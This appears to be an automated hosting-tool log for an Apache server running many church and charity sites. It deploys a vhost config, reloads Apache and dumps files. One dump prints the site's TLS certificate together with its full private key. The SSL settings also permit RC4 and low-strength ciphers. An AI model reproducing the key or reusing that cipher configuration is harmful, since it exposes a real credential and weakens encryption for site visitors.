    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-14 06:00:12: 

PUT: /tmp/pkp319881

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphian_www_video.conf
TARGET=/etc/apache2/sites-enabled/christadelphian_www_video.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphian_www_video.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf= 1'
fi


2026-07-14 06:00:12: 

chmod 755 /tmp/pkp319881; /tmp/pkp319881; rm /tmp/pkp319881

2026-07-14 06:00:12: 




2026-07-14 06:00:12: 

PUT: /tmp/pkp221594

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-14 06:00:12: 

chmod 755 /tmp/pkp221594; /tmp/pkp221594; rm /tmp/pkp221594

2026-07-14 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-14 06:00:13: Establishing a connection
2026-07-14 06:00:13: 

PUT: /tmp/pkp720257

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-14 06:00:13: 

chmod 755 /tmp/pkp720257; /tmp/pkp720257; rm /tmp/pkp720257

2026-07-14 06:00:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-14 06:00:13: 

PUT: /tmp/pkp879601

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-14 06:00:13: 

chmod 755 /tmp/pkp879601; /tmp/pkp879601; rm /tmp/pkp879601

2026-07-14 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf	1372

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-14 06:00:13: 

PUT: /tmp/pkp648986

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-14 06:00:13: 

chmod 755 /tmp/pkp648986; /tmp/pkp648986; rm /tmp/pkp648986

2026-07-14 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt	7428
5e:b4:7a:d7:b8:9e:49:6e:0d:37:8d:a7:c1:2f:29:e1

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBSJ2BZWl2K7iIrEfmFOt0jeyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE0MDUwMTQxWhcNMjYxMDEyMDUwMTQwWjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDSAj0yefU7Wf2UBWSp7eH9xCwvA7dNUbwQK9BKG/lQx6D67DdNbY9g
CPvQAoMbgDOTpJHgD5HODcj5QBbNhoV2K4oycZdaMJ7kpB1jwMhy3P7RKmh5akBO
GT67OaAyi9yU6Jbzv4pkUrM1RzpLTfkJpJ+qxyIhGuVcpTPPRLZmQA9814gTSrd7
2vUGlKOuzPKdG3GrwQ3ls8YFXTemNIBOYGYAFuoAaX/W1CvEy0R7tE37YXb482hQ
C+kaZvqgHqA3JZQZ2vZ88npRg5QNVZh/bNQJ4yJ1svpNNa2NVi87GWtyG3w4fyIs
b1EAwYGg+EXyq70ZILERT3ZZjsOtRB6TAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUMu4FBavBADGQ1Z/vDJZm+qPk0EQwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55
LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIx
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVjaHJpc3RhZGVscGhpYW4udmlkZW8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3ly
MS5jLmxlbmNyLm9yZy81MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdgCU
TkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ9fNiJxAAAEAwBHMEUC
IQD9Hze7tsOJWy/HbNasPWBr3LaqHq0f9Tiy7QQ6na0u1QIgV4mXO9s16Mo8oCHJ
Iadr7gdeaqQ1v7Prwp50c6yojJgAfQAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgs
neNfXiYl7wAAAZ9fNiTOAAgAAAUAKXzmJwQDAEYwRAIgORIivg2eG6CVg8ogTutQ
Kc1/d79lVrMEOzswcIfE+GsCIFVvUfenQ4iWWYc+qpcTmauZPn83NWxMre1WNOm1
Z9jKMA0GCSqGSIb3DQEBCwUAA4IBAQAuUuoC1pfK+PKTsrvWf5R/ogijl3HN1L8V
K8BtNPa5IufSFOSxgKq8C9YEeSXxgpEPYXwkcA8dJdW8pXQWmV6AaZjRmF60eior
yf8sJhjfb7M7+nW/X+dJmi/y/ueibUBORlcredbjWtSTfqn11dppWGy+39mNH8c0
t0HG81Jtc79xfrPg8d2JyTDkopuBOHk/nLHxTvIQcJ1ZCC99in0QLc4yIdt3i8E0
g6tdmOXyxhiNb5aFSSguRTWu7sNeQd70kjWAyibQXXUSOp9I4kVimjQBi/u33qq8
KdDTQ9DGPI8OmJ9AZVCaW1eX5bHbHWUMnkL/9XE16orolAzcPBMQ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDSAj0yefU7Wf2U
BWSp7eH9xCwvA7dNUbwQK9BKG/lQx6D67DdNbY9gCPvQAoMbgDOTpJHgD5HODcj5
QBbNhoV2K4oycZdaMJ7kpB1jwMhy3P7RKmh5akBOGT67OaAyi9yU6Jbzv4pkUrM1
RzpLTfkJpJ+qxyIhGuVcpTPPRLZmQA9814gTSrd72vUGlKOuzPKdG3GrwQ3ls8YF
XTemNIBOYGYAFuoAaX/W1CvEy0R7tE37YXb482hQC+kaZvqgHqA3JZQZ2vZ88npR
g5QNVZh/bNQJ4yJ1svpNNa2NVi87GWtyG3w4fyIsb1EAwYGg+EXyq70ZILERT3ZZ
jsOtRB6TAgMBAAECggEAIf++zJc1/n/ZL8eXvnMGrUC/LnVZjaj3215cgEL7H/rR
sw3e/igImDGcItblRuSAdRyliTK8FjHhIYkgp/FpVfJCk1wUdsN8VePD5kxlp0Lj
9hT5iP6MnpgzsbfomYZPFcR5+8g8rXU+EhgP9fUPpmICf3Fxsw5Zp6APPTUQmojl
K08VLvXB5gIWQYvy76OqmjR3ASYUz0nUDXcdv/aABEWZz58TKSF5Zt7VE3AozvxN
DOaaXtMkEipAV3e86V54DNWVKNrnKuWAeOoy4BPw/LrtjckKfpdnIIMzONhMYgko
j+QW3ey5xS4fltTYY5df9Xe6jeQd8mIH25dhJkNmcQKBgQD6nCtskDCV1Rly1qvG
3Ddzjyc6qlxHHIIZHatI49LzvT4iITOd79kT/TiF9iR9ZvaMqnVI2VA/sy/4sII8
Euu27dz6ZzqxcUabSsF08TeZ8ZnQQmdrKO11y3cWI5gryKkYiz1HJHE0B5ED4noz
DLdXtWqJSpg4G2bYALjOy7XbVQKBgQDWhoX5GrNr07suOtvetuslQKVJWii/INxH
DYxPxtzkkWJlVMG9dlJNcLFpoAGKu6IadwFVg7uaXqYe/OFnzuQGsPJ2giB8fzqt
T/JuY2uc9qOewu7M+dJDmqMLIXc9cW+69ym103LwLE1qxdzGlQgMFvJZ14p0de7v
L3+bqeciRwKBgQDtlulEP18Qbbt2uDaajWS01d7nK2PYtxpQHWSp8fOoyJ0DVl7N
OPqgjMztk/H8QYU0ztXqfrwp6ANuzkhqE7YM820wqHVojG/YAgNujtGbzQV5/7p0
SZT2vDLmdlBqEg7eCgPKUq5QGWxONoSLqV6YdJHQHzw41SGnXufWhiKfEQKBgEJ6
e4ffa1xtx6Ki4MHao3Hu34mko93evARUwXdzY759AyXtpwAka4rN8lyOFgw86xYS
bNpoMTm8PPR7XwqBRY6BRRHOb2zFLJTKopDsxEtm7vti4weoHy2N/RqU61OiFIK2
1zkeZo7g27jLygfL5SuB7OZEcgZ3CW0bpgrCEvs/AoGAW3BJyBmHRG+bBVoHc16Q
c0fFY6XX3XH6Dc6PztGHiY+aZvLUjvKzjqaHlmiH+ZJUBAhnFc3I5pZULxBOsMoo
Ay+X57QaIhpwwAG+XqaheixY5dqQTMOudUFYf2awooQhCbNwMETzSNhkNDKzqA+Y
w7wchRZmS/kqeD2BwkLyVzU=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-07-14 06:00:13: Establishing a connection
2026-07-14 06:00:13: Establishing a connection
2026-07-14 06:00:13: 

PUT: /tmp/pkp812002

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-14 06:00:14: 

chmod 755 /tmp/pkp812002; /tmp/pkp812002; rm /tmp/pkp812002

